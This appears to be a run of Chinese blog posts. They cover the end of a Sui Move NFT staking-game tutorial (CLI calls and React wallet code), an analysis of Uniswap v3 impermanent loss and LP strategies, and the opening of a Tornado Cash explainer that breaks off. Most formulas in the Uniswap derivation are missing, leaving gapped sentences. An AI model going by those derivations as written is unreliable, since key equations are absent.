Created Objects:
    - 省略了其他的创建的对象
  - ID: 0x17db4feb4652b8b5ce9ebf6dc7d29463b08e234e , Owner: Shared
  - ID: 0x1d525318e381f93dd2b2f043d2ed96400b4f16d9 , Owner: Immutable
  - ID: 0x59a85fbef4bc17cd73f8ff89d227fdcd6226c885 , Owner: Immutable
  - ID: 0xe364474bd00b7544b9393f0a2b0af2dbea143fd3 , Owner: Account Address ( 0xa3e46ec682bb5082849c240d2f2d20b0f6e054aa )
  - ID: 0xe4ffefc480e20129ff7893d7fd550b17fda0ab0f , Owner: Shared
  - ID: 0xe572b53c8fa93602ae97baca3a94e231c2917af6 , Owner: Account Address ( 0xefbb0d3f2dc566f1f4fa844621bee76b43c9579a )
Mutated Objects:
  - ID: 0x0942e72397f46a831ce61003601cbb05697e7a83 , Owner: Account Address ( 0xefbb0d3f2dc566f1f4fa844621bee76b43c9579a )

可以通过交易哈希 5FZi4YxiiBJsCj67JSSzkVZvHdJjKKPtMMMrfGbmPXvH 在 sui explorer 中查看部署的合约信息:

Untitled 1

通过 sui client object <object_id> 可以查看创建的 object 的属性,可以知道:

  • 0x17db4feb4652b8b5ce9ebf6dc7d29463b08e234e 为代币 EGG 的 TreasuryCap 的 ObjectId
  • 0x1d525318e381f93dd2b2f043d2ed96400b4f16d9 为 EGG 的 CoinMetadata
  • 0x59a85fbef4bc17cd73f8ff89d227fdcd6226c885 为部署的地址
  • 0xe364474bd00b7544b9393f0a2b0af2dbea143fd3 为 TimeManagerCap
  • 0xe4ffefc480e20129ff7893d7fd550b17fda0ab0f 为 Global 对象
  • 0xe572b53c8fa93602ae97baca3a94e231c2917af6 为 FoCManagerCap 对象

这些对象将在之后的命令行调用和前端项目中使用到。其他省略的创建的对象为 Trait 对象,在之后不会使用到。

3.2 合约命令行调用

  1. 设置环境变量

    export fox_game=0x59a85fbef4bc17cd73f8ff89d227fdcd6226c885
    export global=0xe4ffefc480e20129ff7893d7fd550b17fda0ab0f
    export egg_treasury=0x17db4feb4652b8b5ce9ebf6dc7d29463b08e234e
    export time_cap=0xe364474bd00b7544b9393f0a2b0af2dbea143fd3
    
  2. 设置时间戳

    # 需要切换到时间戳的管理地址 0xa3e46ec682bb5082849c240d2f2d20b0f6e054aa
    sui client switch --address 0xa3e46ec682bb5082849c240d2f2d20b0f6e054aa
    # 设置时间戳
    sui client call --function set_timestamp --module fox --package ${fox_game} --args ${time_cap} ${global} \"$(date +%s)\" --gas-budget 30000
    
    # 查看当前时间戳
    curl https://fullnode.devnet.sui.io:443 -H "Content-Type: application/json" -d '{
      "jsonrpc": "2.0",
      "id": 1,
      "method": "sui_getObject",
      "params":[
          "0xe4ffefc480e20129ff7893d7fd550b17fda0ab0f"
      ]
    }' | jq .result.details.data.fields.barn_registry
    
    # 输出结果,可以看到时间戳已经被设置为 1674831518
    {
      "type": "0x59a85fbef4bc17cd73f8ff89d227fdcd6226c885::barn::BarnRegistry",
      "fields": {
        "egg_per_alpha": "0",
        "id": {
          "id": "0x48136d916ea8a148ab864fdb1fc668f6e6dcf3ff"
        },
        "last_claim_timestamp": "0",
        "timestamp": "1674831518",
        "total_alpha_staked": "0",
        "total_chicken_staked": "0",
        "total_egg_earned": "0",
        "unaccounted_rewards": "8518518"
      }
    }
    

    之后的每一步操作前都需要同步一次时间戳,保证数据正确。

  3. 铸造 NFT

    使用以下命令进行铸造:

    # 查看当前gas
    sui client switch --address 0x659f89084673bf4a993cdea89a94dabf93a2ddb4
    sui client gas
    
    # 输出结果
    Object ID                  |  Gas Value 
    ----------------------------------------------------------------------
     0x0bd32adfbfc73e8daa42eef21b4e4e6cc7081240 |    25219   
     0x2ad1e472502aefd87c3767157391ebc1f169c6b5 |   9928743  
     0x3cd2bb1e03326e5141203cc008e6d2eb44a0df05 |  10000000  
     0x5f2c80c89bedddf92f0dc32cfa16b0ecf76a4680 |  10000000  
     0x635ce8d2e9a9c0056ff1cd8591baee16fe010911 |  10000000
    
    # Mint 1 个 NFT
    sui client call --function mint --module fox --package ${fox_game} --args ${global} ${egg_treasury} \"1\" false \[0x3cd2bb1e03326e5141203cc008e6d2eb44a0df05\] \[\] --gas-budget 100000
    
    # 结果
    ----- Certificate ----
    Transaction Hash: 7p1nmTPYE9884gBCJL6sah2t6Vzh9P59MUeFVURXaEFx
    Transaction Signature: AA==@TNx7guUd7EjEg4s8jyOf+kTkuhVqmzrZWGKzcJNM3iHqcCRk0+pzITmFth8dYM6qKnYAvT3eeSkKNDUaQF2LAA==@oC1nequkpzyJfYuKx7DqIZFNUfF66e+6DEF1Urqo/EM=
    Signed Authorities Bitmap: RoaringBitmap<[1, 2, 3]>
    Transaction Kind : Call
    Package ID : 0x59a85fbef4bc17cd73f8ff89d227fdcd6226c885
    Module : fox
    Function : mint
    Arguments : ["0xe4ffefc480e20129ff7893d7fd550b17fda0ab0f", "0x17db4feb4652b8b5ce9ebf6dc7d29463b08e234e", [1,0,0,0,0,0,0,0], "", ["0x3cd2bb1e03326e5141203cc008e6d2eb44a0df05"], []]
    Type Arguments : []
    Sender: 0x659f89084673bf4a993cdea89a94dabf93a2ddb4
    Gas Payment: Object ID: 0x2ad1e472502aefd87c3767157391ebc1f169c6b5, version: 0x215, digest: 0x197c624ca59151af7cd968b985062fa3e0dbf21711777d7b4602215664233c5b
    Gas Price: 1
    Gas Budget: 100000
    ----- Transaction Effects ----
    Status : Success
    Created Objects:
      - ID: 0x185aa8a244c74ddfe83c38618b46c744425cd7f5 , Owner: Object ID: ( 0x2ba674fcac290baa2927ff26110463f337237f0d )
      - ID: 0x6917cbcf0e6e58184a98e05ad6bbc70a75755d28 , Owner: Object ID: ( 0x2ed343ceebf792a36b2ff0e918b801e34399f4ed )
      - ID: 0x84fe8e597bcb9387b2911b5ef39b90bb111e71a2 , Owner: Account Address ( 0x659f89084673bf4a993cdea89a94dabf93a2ddb4 )
    Mutated Objects:
      - ID: 0x17db4feb4652b8b5ce9ebf6dc7d29463b08e234e , Owner: Shared
      - ID: 0x2ad1e472502aefd87c3767157391ebc1f169c6b5 , Owner: Account Address ( 0x659f89084673bf4a993cdea89a94dabf93a2ddb4 )
      - ID: 0x3cd2bb1e03326e5141203cc008e6d2eb44a0df05 , Owner: Account Address ( 0x659f89084673bf4a993cdea89a94dabf93a2ddb4 )
      - ID: 0xe4ffefc480e20129ff7893d7fd550b17fda0ab0f , Owner: Shared
    

    其中:

    • \"1\" 表示铸造的数量为 1;
    • false 表示不质押,如果要铸造的同时进行质押,可以修改为 true
    • \[0x3cd2bb1e03326e5141203cc008e6d2eb44a0df05\] 是用于支付 0.0099 SUI 铸造费用的 SUI 对象;
    • \[\] 表示用于支付 EGG 的对象。

    可以看到生成的对象中, 0x84fe8e597bcb9387b2911b5ef39b90bb111e71a2 在地址 0x659f89084673bf4a993cdea89a94dabf93a2ddb4 之下,查看属性可以看到对应的 type 为 0x59a85fbef4bc17cd73f8ff89d227fdcd6226c885::token_helper::FoxOrChicken ,这个就是我们铸造得到的 NFT,相应的其他属性也可以查看到,命令输出结果可以查看此 gist

    或者,我们可以通过 sui_getObjectsOwnedByAddress RPC 接口可以查看地址所拥有的对象,比如对于地址 0x659f89084673bf4a993cdea89a94dabf93a2ddb4 ,可以查看所有对象,过滤即可找到创建的对象。

    $ curl https://fullnode.devnet.sui.io:443 -H "Content-Type: application/json" -d '{
      "jsonrpc": "2.0",
      "id": 1,
      "method": "sui_getObjectsOwnedByAddress",
      "params":[
          "0x659f89084673bf4a993cdea89a94dabf93a2ddb4"
      ]
    }'
    
  4. 质押 NFT

    通过以下命令对前一步铸造的 NFT 进行质押:

    sui client call --function add_many_to_barn_and_pack --module fox --package ${fox_game} --args ${global} \[0x84fe8e597bcb9387b2911b5ef39b90bb111e71a2\] --gas-budget 100000
    
  5. 获取收益和 提取 NFT

    通过以下命令获取质押收益 EGG:

    sui client call --function claim_many_from_barn_and_pack --module fox --package ${fox_game} --args ${global} ${egg_treasury} '["0x84fe8e597bcb9387b2911b5ef39b90bb111e71a2"]' false --gas-budget 100000
    

    等 48 小时之后,将 false 变为 true,可以进行 Unstake,将质押的 NFT 提取出来。

至此,命令行操作完成。

0x4 前端开发

4.1 scaffold-move 开发脚手架

这个项目基于 NonceGeek DAO 的 scaffold-move 开发脚手架,这个脚手架目前包含 Aptos 和 Sui 两个公链的前端开发实例,可以可以在这个基础上快速进行 Sui 的前端部分开发。

通过运行以下步骤可以设置开发环境:

git clone https://github.com/NonceGeek/scaffold-move.git
cd scaffold-move/scaffold-sui/
yarn
yarn dev

4.2 项目页面结构

项目页面主要包括三部分,位于 src/pages 目录:index,game 和 whitepapers:

  • index:入口页面,做为游戏的引导页面;
  • game:主要的逻辑页面,涉及铸造,质押和提取;
  • whitepaper:白皮书页面,介绍游戏机制和玩法。

我们之后的部分主要聚焦在 game 页面。game 页面功能主要包括三部分:

  • 菜单栏:包含logo,页面导航以及链接钱包;
  • 左侧 Mint 栏:主要当前 mint 状态和 mint 操作;
  • 右侧 Stake 栏:主要是 Stake,Unstale 和 Collect EGG 的操作。

Untitled 2

其中,质押和提取时进行的多选操作,可以通过设置选择变量进行过滤来实现:

  const [unstakedSelected, setUnstakedSelected] = useState<Array<string>>([])
  const [stakedSelected, setStakedSelected] = useState<Array<string>>([]);
    
    // 设置添加和删除操作
    function addStaked(item: string) {
    setUnstakedSelected([])
    setStakedSelected([...stakedSelected, item])
  }

  function removeStaked(item: string) {
    setUnstakedSelected([])
    setStakedSelected(stakedSelected.filter(i => i !== item))
  }

  function addUnstaked(item: string) {
    setStakedSelected([])
    setUnstakedSelected([...unstakedSelected, item])
  }

  function removeUnstaked(item: string) {
    setStakedSelected([])
    setUnstakedSelected(unstakedSelected.filter(i => i !== item))
  }
    // 之后添加元素的点击事件
    // 处理未质押的
  function renderUnstaked(item: any, type: string) {
    const itemIn = unstakedSelected.includes(item.objectId);
    return <div key={item.objectId} style={{ marginRight: "5px", marginLeft: "5px", border: itemIn ? "2px solid red" : "2px solid rgb(0,0,0,0)", overflow: 'hidden', display: "inline-block" }}>
      <div className="flex flex-col items-center">
        <div style={{ fontSize: "0.75rem", height: "1rem" }}>#{item.index}</div>
        <Image src={`${item.url}`} width={48} height={48} alt={`${item.objectId}`} onClick={() => itemIn ? removeUnstaked(item.objectId) : addUnstaked(item.objectId)} />
      </div>
    </div>
  }
  // 处理质押的
  function renderStaked(item: any, type: string) {
    const itemIn = stakedSelected.includes(item.objectId);
    return <div key={item.objectId} style={{ marginRight: "5px", marginLeft: "5px", border: itemIn ? "2px solid red" : "2px solid rgb(0,0,0,0)", overflow: 'hidden', display: "inline-block" }}>
      <div className="flex flex-col items-center">
        <div style={{ fontSize: "0.75rem", height: "1rem" }}>#{item.index}</div>
        <Image src={`${item.url}`} width={48} height={48} alt={`${item.objectId}`} onClick={() => itemIn ? removeStaked(item.objectId) : addStaked(item.objectId)} />
      </div>
    </div>
  }

4.3 连接钱包

我们使用 Suiet 钱包开发的 @suiet/wallet-kit 包连接 Sui 钱包,从包对应的 WalletContextState 可以看出, useWallet 包含了我们在构建 App 时会使用到的基本信息和功能,比如钱包信息,链信息,连接状态信息,以及发送交易,签名信息等。

export interface WalletContextState {
    configuredWallets: IWallet[];
    detectedWallets: IWallet[];
    allAvailableWallets: IWallet[];
    chains: Chain[];
    chain: Chain | undefined;
    name: string | undefined;
    adapter: IWalletAdapter | undefined;
    account: WalletAccount | undefined;
    address: string | undefined;
    connecting: boolean;
    connected: boolean;
    status: "disconnected" | "connected" | "connecting";
    select: (walletName: string) => void;
    disconnect: () => Promise<void>;
    getAccounts: () => readonly WalletAccount[];
    signAndExecuteTransaction(transaction: SuiSignAndExecuteTransactionInput): Promise<SuiSignAndExecuteTransactionOutput>;
    signMessage: (input: {
        message: Uint8Array;
    }) => Promise<ExpSignMessageOutput>;
    on: <E extends WalletEvent>(event: E, listener: WalletEventListeners[E]) => () => void;
}
export declare const WalletContext: import("react").Context<WalletContextState>;
export declare function useWallet(): WalletContextState;

src/components/SuiConnect.tsx 中,我们可以很方便的设置钱包连接功能:

import {
  ConnectButton,
} from '@suiet/wallet-kit';

export function SuiConnect() {
  return (
      <ConnectButton>Connect Wallet</ConnectButton>
  );
}

之后,我们将需要使用的信息在 src/pages/game.tsx 中引入:

import {
  useWallet,
} from '@suiet/wallet-kit';

export default function Home() {

  const { signAndExecuteTransaction, connected, account, status } = useWallet();

    // 省略

其中, signAndExecuteTransaction 方法用来签名并执行交易,支持 moveCalltransferSuitransferObject 等交易。

4.4 RPC 接口调用

我们使用官方提供的 @mysten/sui.js 库调用 Sui 的 RPC 接口,这个库支持了大部分 Sui JSON-RPC,同时,还提供了一些额外的方法方便开发,例如:

  • selectCoinsWithBalanceGreaterThanOrEqual :获取大于等于指定数量的coin对象ID数组
  • selectCoinSetWithCombinedBalanceGreaterThanOrEqual:获取总和大于等于指定数量的coin对象ID数组

这两个方法在需要在 NFT 铸造时支付 SUI 或者其他代币时十分有用。我们在 game.tsx 中引入 JsonProvider 进行初始化:

// 文件: src/pages/game.tsx
import { JsonRpcProvider } from '@mysten/sui.js';

export default function Home() {
    // 操作 client
  const provider = new JsonRpcProvider();
    // 调用
    const suiObjects = await provider.selectCoinSetWithCombinedBalanceGreaterThanOrEqual(account!.address, suiCost)
// 其他省略

其他方法的介绍可以参考库的文档,这里不多赘述。

4.5 铸造 NFT 等 entry 方法

我们首先看到如何铸造 NFT:

// 文件: src/pages/game.tsx 
  async function mint_nft() {
    let suiObjectIds = [] as Array<string>
    let eggObiectIds = [] as Array<string>
        // 获取足够的 SUI 或者 EGG 代币的对象ID
    if (collectionSupply < PAID_TOKENS) {
      const suiObjects = await provider.selectCoinSetWithCombinedBalanceGreaterThanOrEqual(account!.address, suiCost)
      suiObjectIds = suiObjects.filter(item => item.status === "Exists").map((item: any) => item.details.data.fields.id.id)
    } else {
      const eggObjects = await provider.selectCoinSetWithCombinedBalanceGreaterThanOrEqual(account!.address, eggCost, `${PACKAGE_ID}::egg::EGG`)
      eggObiectIds = eggObjects.filter(item => item.status === "Exists").map((item: any) => item.details.data.fields.id.id)
    }
    try {
            // 调用 moveCall 方法,构造交易并签名
      const resData = await signAndExecuteTransaction({
        transaction: {
          kind: 'moveCall',
          data: mint(false, suiObjectIds, eggObiectIds),
        },
      });
            // 检查结果
      if (resData.effects.status.status !== "success") {
        console.log('failed', resData);
      }
      // 设置 Mint 交易
      setMintTx('https://explorer.sui.io/transaction/' + resData.certificate.transactionDigest)
    } catch (e) {
      console.error('failed', e);
    }
  }
    
    // 构造 mint 方法所需要的参数
  function mint(stake: boolean, sui_objects: Array<string>, egg_objects: Array<string>) {
    return {
      packageObjectId: PACKAGE_ID,
      module: 'fox',
      function: 'mint',
      typeArguments: [],
      arguments: [
        GLOBAL, EGG_TREASUTY, mintAmount.toString(), stake, sui_objects, egg_objects
      ],
      gasBudget: 1000000,
    };
  }

  return (
        // 其他部分省略
        <div className="text-center font-console pt-1" onClick={() => mint_nft()}>Mint</div>
    )

其中 arguments 参数对应 mint 方法所需要的参数。

同理,其他的 entry 方法的调用和签名也与 Mint 方法类似,分别为:

// 铸造并质押
async function mint_nft_stake()
// 质押
async function stake_nft()
// 提取
async function unstake_nft()
// 收集 EGG
async function claim_egg()

4.6 合约数据读取

对于 Sui 公链,除了调用合约,另一块难点是合约数据的读取。相对于 EVM 合约,Move的合约数据结构更复杂,更难读取。由于在 Sui 中,Object 对象被包装后可能无法进行追踪(详情可以参考官方 Object 教程系列),因此在之前的数据结构设计中,Pack 和 Barn 中存储的 NFT 需要使用能进行追踪的数据结构。因此,ObjectTable 被做为基本的键值存储结构区别于不可追踪的 Table 数据类型。相应地,可以使用 sui_getDynamicFieldObject 来读取其中的数据,例如,通过读取保存在 PackStaked 中的 NFT 对象质押列表,从而通过 getObjectBatch 可以获取当前地址所有的质押的 NFT。

        // 读取 Pack 中质押的 Fox NFT
        const objects: any = await sui_client.getDynamicFieldObject(packStakedObject, account!.address);
          if (objects != null) {
            const fox_staked = objects.details.data.fields.value
            const fox_stakes = await provider.getObjectBatch(fox_staked)
            const staked = fox_stakes.filter(item => item.status === "Exists").map((item: any) => {
              let foc = item.details.data.fields.item
              return {
                objectId: foc.fields.id.id,
                index: parseInt(foc.fields.index),
                url: foc.fields.url,
              }
            })
            setStakedFox(staked)
          }
        }

其中, packStakedObject 对象ID通过 GLOBAL 对象 ID 获取得到。

            const globalObject: any = await provider.getObject(GLOBAL)

      const pack_staked = globalObject.details.data.fields.pack.fields.id.id
      setPackStakedObject(pack_staked)

对于当前地址所拥有的未质押的NFT,需要通过读取全部对象ID后进行类型过滤才能得到:

                // 获取所有对象
                const objects = await provider.getObjectsOwnedByAddress(account!.address)
        // 过滤 FoxOrChicken 对象
                const foc = objects
          .filter(item => item.type === `${PACKAGE_ID}::token_helper::FoxOrChicken`)
          .map(item => item.objectId)
        const foces = await provider.getObjectBatch(foc)
                // 过滤并读取信息,然后排序
        const unstaked = foces.filter(item => item.status === "Exists").map((item: any) => {
          return {
            objectId: item.details.data.fields.id.id,
            index: parseInt(item.details.data.fields.index),
            url: item.details.data.fields.url,
            is_chicken: item.details.data.fields.is_chicken,
          }
        }).sort((n1, n2) => n1.index - n2.index)
                // 存储
        setUnstakedFox(unstaked.filter(item => !item.is_chicken))
        setUnstakedChicken(unstaked.filter(item => item.is_chicken))

最后,对于当前地址中包含的 EGG 代币的余额,可以通过 getCoinBalancesOwnedByAddress 获得所有余额对象并进行求和得到。

        const balanceObjects = await provider.getCoinBalancesOwnedByAddress(account!.address, `${PACKAGE_ID}::egg::EGG`)
        const balances = balanceObjects.filter(item => item.status === 'Exists').map((item: any) => parseInt(item.details.data.fields.balance))
        const initialValue = 0;
        const sumWithInitial = balances.reduce(
          (accumulator, currentValue) => accumulator + currentValue,
          initialValue
        )
        setEggBalance(sumWithInitial);

总结

至此,我们完成了狐狸游戏合约和前端代码的介绍。我们实现的狐狸游戏虽然功能上只有铸造,质押和提取这几个主要的功能,但是涉及 NFT 创建以及 Sui Move 的诸多语法,整体项目具有一定的难度。

这篇文章希望对有兴趣于 Sui 上的 NFT 的操作的同学有所帮助,也希望大家提出宝贵的建议和意见。项目目前只完成了初步的逻辑功能,还需要继续补充测试和形式验证,欢迎有兴趣的同学提交 Pull Request。

参考文档

Uniswap v3 无常损失分析

Uniswap v3 无常损失分析

目标

  1. 对 Uniswap v3 无常损失的定量分析;
  2. 如何使用策略让 Uniswap v3 LP 获得更大的收益。

Uniswap 概览

基于恒定乘积的自动化做市商(AMM),去中心化交易所。

v1 版本:

  • 2018年11月
  • 解决了什么问题:传统交易所 order book 买卖双方不活跃导致的长时间挂单,交易效率低下
  • 功能:ETH ←→ ERC20 token 兑换
  • 带来的问题:
    • token1 与 token2 之间的兑换需要借助 ETH
      • USDT → ETH → USDC

v2 版本:

  • 2020年5月
  • 新功能
    • 自由组合交易对:token1 ←→ token2
      • token1-token2 交易池
    • LPers 提供流动性并赚取费用
    • 价格预言机(时间加权平均价格,TWAP)、闪电贷、最优化交易路径等
  • 带来的问题
    • 资金利用率低:
      • x*y=k 的情况下,做市的价格区间在 (0, +∞) 的分布,当用户交易时,交易的量相比我们的流动性来说是很小的
      • 假设 ETH/DAI 交易对的实时价格为 1500 DAI/ETH,交易对的流动性池中共有资金:4500 DAI 和 3 ETH,根据 x⋅y=k,可以算出池内的 k 值: k=4500×3=13500。假设 x 表示 DAI,y 表示 ETH,即初始阶段 x1=4500,y1=3,当价格下降到 1300 DAI/ETH 时: x2⋅y2=13500, x2/y2=1300,得出 x2=4192.54, y2=3.22,资金利用率为: Δx/x1=6.84%。同样的计算方式,当价格变为 2200 DAI/ETH 时,资金利用率约为 21.45%。也就是说,在大部分的时间内池子中的资金利用与低于 25%,这个问题对于稳定币池来说更加严重。

Untitled

v3版本:

  • 2021年5月
  • 考虑风险
    1. 价格影响(Price impact):
      • 是指一笔交易对价格的影响程度,取决于池子深度。 更高的价格影响意味着:流动性提供者提供的流动性不足,向交易者提供更差的比率(滑点高)。
    2. 存货风险(Inventory risk):
      • LP 的主要目标是随着时间的推移增加其总库存价值
      • 在价格变化过程中,相对于首选价值存储的资产而言,LP 拥有的资产数量更少,比如对于 ETH-DAI,用户更倾向于 ETH(ETH价格升高),相对于 ETH而言,LP 拥有越多的 DAI,存货风险越高;
      • 比如 100% ETH 和 50%-50% ETH-DAI 的对比,ETH价格上涨,更多人将 DAI 换成 ETH,相对应LP手中 ETH就少了,风险加大。
    3. 无常损失
      • 提供流动性时发生的资金暂时损失/非永久性损失;
      • 只要代币相对价格恢复到其初始状态,该损失就消失了;
  • 新功能
    • 集中流动性 → 提升资金利用率

Untitled 1

- 多层级手续费率(0.05%,0.3%,1%),升级的预言机,区间订单(range order)等。
  • 带来的问题:
    • 相对于v2而言
      • 无常损失(Impermanent Loss)仍然存在,而且更大;
      • LP 的权衡
        • 价格区间越大,所获得的费用收益就越低,(0, +∞)时和 v2一致。
        • 但如果选择一个更小的价格区间,就会有更高的无常损失。

无常损失分析

Uniswap v2

例子:

假设 ETH/DAI 交易对的实时价格为 1500 DAI/ETH,交易对的流动性池中共有资金:4500 DAI 和 3 ETH,根据 x⋅y=k,可以算出池内的 k 值: k=4500×3=13500。假设 x 表示 DAI,y 表示 ETH,即初始阶段 x1=4500,y1=3。

当价格下降到 1300 DAI/ETH 时: x2⋅y2=13500, x2/y2=1300,得出 x2=4192.54, y2=3.22

如果用户选择HODL,则 x2'=4500,y2'=3,我们分别计算两种情况下的资产价值(DAI):

LP: 4192.54 + 3.22 * 1300 = 8378.54

HODL: 4500 + 3 * 1300 = 8400

资产减少:8400 - 8378.54 = 21.46 → 无常损失

无常损失率:21.46 / 8400 = 0.26%

当价格变为 2200 DAI/ETH时,x2=5449.77, y2=2.48,资产减少 194.23,损失率为 1.75%。

模型分析:

根据恒定乘积公式 ,令 ,其中 L 表示流动性,则有 ,再根据价格 ,可以得到

考虑 LP 在流动性池 X-Y 中添加流动性 ,池的初始价格为 ,所以 LP 需要向流动性池中提供 的 X 代币和 的 Y 代币。

当池的价格变为 时,LP 的资产价值为

其中 是LP在池中的资产。

LP 初始时的资产如果一直拿手里,则价值为

所以,无常损失为:

,则有:

用之前的例子计算,r=1300/1500=0.87时,IL=0.0026=0.26%,r=2200/1500=1.47时,IL=0.018=1.8%,与上述计算相符合。

图像:

Untitled 2

https://www.desmos.com/calculator/aza5py3g95

可以看到,当 时无常损失为0,其他时候无常损失都为负数。列一个表:

价格变化无常损失
0.25x20.0%
0.5x5.7%
0.75x1.0%
10
1.25x0.6%
1.5x2.0%
1.75x3.8%
2x5.7%
3x13.4%
4x20.0%
5x25.5%

Uniswap v3

用同样的过程,我们分析 Uniswap v3的无常损失。假设 LP 向价格区间 提供流动性 ,初始价格为 ,之后价格变为

首先我们从Uniswap v3 的白皮书中可以知道,集中流动性的资产储备曲线(橙色)的公式为:

(推导:曲线相当于v2的曲线向左向下平移动)

Untitled 1

对于虚拟曲线: ,可以得到:

初始时资产价值为:

同样,则在价格 时流动池中的资产价值为(令 ):

在价格为 时的,选择 HODL 的资产价值为:

所以无常损失为(不失一般性,取 ):

在价格区间 时的无常损失也同样可以计算。)

我们可以通过价格区间 的变化看到:

  1. 时, IL = 0;
  2. 时, IL = 0;
  3. 与 v2 的联系:

趋近于

画图

Untitled 3

https://www.desmos.com/calculator/ha322rtufc

同样我们可以看到:当价格区间越小时,无常损失越大:

(这是一个动图)

Untitled

数值比较

我们比较在不同的价格区间下 Uniswap v3的无常损失:

Screen_Shot_2022-08-31_at_09 56 06

具体数据():

价格区间%-20%Initial+20%
[0%,Inf]( Uniswap v2 )-0.56%0-0.46%
[0%, 200%]-0.86%0-0.70%
[25%, 175%]-1.5%0-1.22%
[50%, 150%]-2.34%0-1.91%
[75%, 125%]-4.75%0-3.8%

提问:既然无常损失总是为负,为什么还是会有人愿意做 LP?

我们的计算忽略了两个问题:

  1. 手续费(fee):不同的池子提供不同的手续费,需要在原来的计算上加上手续费。
  2. 集中流动性增加了池的深度:
    • 例如:ETH-USDC-0.3%池的流动性

      Untitled 4

    • 一些流行的 token 对的深度比中心化交易所(Binance, Coinbase)更高。link

      • large-cap: ETH/dollar

      • mid-cap - cross-chain pairs

        Untitled 5

      • 稳定币与稳定币对: USDC/USDT

从资产价值的角度

比较以下五种资产持有策略

  1. 100% 持有 ETH
  2. 100% 持有 USDC
  3. 50% 持有 ETH,50% 持有 USDC
  4. 使用 50%ETH 与 50%USDC 参与做市 - Uniswap v2
  5. 使用 50%ETH 与 50%USDC 参与做市 - Uniswap v3

比较这五种策略的资产价值。(使用 https://defi-lab.xyz/uniswapv3simulator

无手续费时:

Untitled 6

包含手续费时:

Untitled 7

Uniswap V3 既是投资者收益的放大器,也是风险的放大器。在享受更高投资收益的同时,也必然要承担当价格脱离安全范围时更多的无常损失。

如何通过策略降低损失,或者说增加收益?

策略0:在不主动调整的情况下选择比v2表现更好的池子

在不主动调整情况下,全范围(full range)的 Uniswap v3 头寸和价格限定的稳定币头寸的手续费回报平均比 Uniswap v2 好约 54%。其中

  • 100 基点手续费的全范围 v3 头寸比 v2 平均 ~80%。
  • 1 基点,范围限定的 v3 稳定币对,v2 ,平均 ~160%.
  • 30 基点,全范围 v3 头寸, v2 平均 ~16%.
  • 5 基点,全范围 v3 头寸,v2 平均 ~68%.

通常建议 LPers 选择 v3。link

选择哪个池?

Untitled 8

v3 表现更好的是 100 基点费率或 1 基点费率的稳定币对。

100 bps 的 token 对通常流动性较差,部署时间较晚且波动性较大。 对于 1-bp 费用等级,代币对价格波动较小,但 Uniswap v3 的交易量远高于 v2。 1-bp 池上的集中流动性实现了超过 v2 的高回报。

策略一:主动的被动策略

如果初始投入是 50%ETH 和50%USDC,当价格变化时,池中剩余的资产比例可能变成 80%ETH 和 20%USDC,这时你需要手动调整库存来防止出现一种资产在一侧耗尽,可以持续提供两边的库存。

根据价格变动周期性地再平衡(rebalance)两种资产之间的比例。

利用范围订单(range order)被动执行的,在现在价格的预测方向放置一个窄的订单,这样就避免了swap费用和价格影响。如果主动使用 swap 达到 50/50,会有 0.3%的费用。

如何操作:

对于 Uniswap 上为某个矿池,例如 ETH/USDC,它有两个主要参数:

  • B(基本阈值)
  • R(再平衡阈值)

该策略始终保持两个有效的范围订单:

  • 基本定单:以当前价格 X 为中心,范围 [X-B, X+B]。 如果 B 较低,它将从交易费用中获得更高的收益。
  • 再平衡订单:刚好高于或低于当前价格。在 [X-R, X] 或 [X, X+R] 范围内,具体取决于在基本订单下达后它持有的更多的代币是哪一种。 此订单有助于策略重新平衡并接近 50/50 以降低库存风险。

每24小时,进行再平衡,根据价格和token数量提交订单。如果策略表现优秀,则时间区间可以被减少。再平衡并不能保证完全50/50。

举例:

Untitled 9

比如,ETH目前价格 150USDC,B=50,R=20,策略拥有资金 1ETH 和160USDC。则在 [100, 200] 放置一个基础订单,使用 1ETH 和 150 USDC。剩余的 10 USDC 用来在 [130,150] 放置一个在平衡订单,用来购买ETH以达到50/50。

Untitled 10

如果价格提升到 180, 再平衡之后,基础订单为 [130, 230],若此时策略有 1.2 ETH 和 90USDC,则策略会使用 0.5EHT 和 90USDC 放入基础订单中,剩余 0.7ETH 会用于在 [180, 200] 之间的再平衡订单。

实际操作:

https://dune.com/queries/78325/155734?Number of days=200

效果

蓝色曲线

Untitled 11

实际效果:

https://dune.com/mxwtnb/Alpha-Vaults-Performance?Number+of+days=200&Number+of+days_t4072e=500

策略二:预期价格范围策略(expected price range strategies)

从历史数据中预测未来10分钟的价格走势,得到一个价格范围区间,在这个价格范围区间中提供流动性。直到当前价格超出价格范围,重复上述过程,重新预测价格范围并添加流动性。这个价格范围称为“预期价格范围”。同时我们可以在当前价格没有完全超出预期价格范围时调整价格区间,称这个价格范围为“移动策略范围(move strategy ranges)”,这个范围指示了什么时候需要移动。

Untitled 12

如何设置

2018年3月~2020年4月的十分钟数据得出价格移动分布在 [-3%, 3%] 之间。可以设置百分比作为价格波动区间。

Untitled 13

进一步策略:在预期价格范围内不采用一致的流动性,而是采用多个连续的流动性多头,每个多头存入不同数量的资产。

三种策略:

  • 均匀策略:在价格区间内均匀分布,Uniswap v3 默认;
  • 比例策略:在价格区间内分成子价格区间,权重对应价格可能的变化概率放置;
  • 最优策略:使用决策理论(比如马尔可夫决策过程),计算一个模型来估算“最佳”范围来提供流动性,使用 LP 的“风险规避”程度作为参数。

比例策略:

  • Ba: 预期价格范围
  • Bt: 移动策略范围

蓝线为概率分布,使用小的价格区间实现

Untitled 14

结论:

  • 对于厌恶风险的投资者,均匀策略最优,对于其他所有人来说是次优的;
  • 比例策略对于大部分厌恶风险的投资者来说的接近最优的;
  • 对于最厌恶风险的投资者而言,均匀策略可获利。

Untitled 15

比例策略对于风险偏向 LP 提供者是最优的( 大 ),而均匀分配对于风险规避LP提供者是最优的( 小)。

这意味着,在 Uniswap v3 中被动管理的头寸可能不足以以资本效率和平衡风险赚取费用,积极的流动性提供策略既是机遇也是挑战。

其他主动的流动性管理

其他主动策略 dapp

Untitled 16

参考

Tornado Cash 基本原理

假设地址 A 发送了 100 ETH 给地址 B,由于在区块链上所有的数据都是公开的,所以全世界都知道地址 A 和地址 B 进行了一次交易,如果地址A和地址 B 属于同一个用户 Alice,则大家知道Alice仍然拥有 100 ETH,如果地址B属于用户 Bob,则大家知道 Bob 现在有 100ETH 了。一个问题就是:如何在交易的过程中保持隐蔽呢,或者说隐藏发送用户与接收用户之前的练习?那就要用到 Tornado Cash。

用户将资金存入Tornado Cash,然后将资金提取到另一个地址中,在区块链上记录上,这两个地址之间的联系就大概率断开了。那 Tornado Cash 是如何做到的呢?

存款(deposit)过程

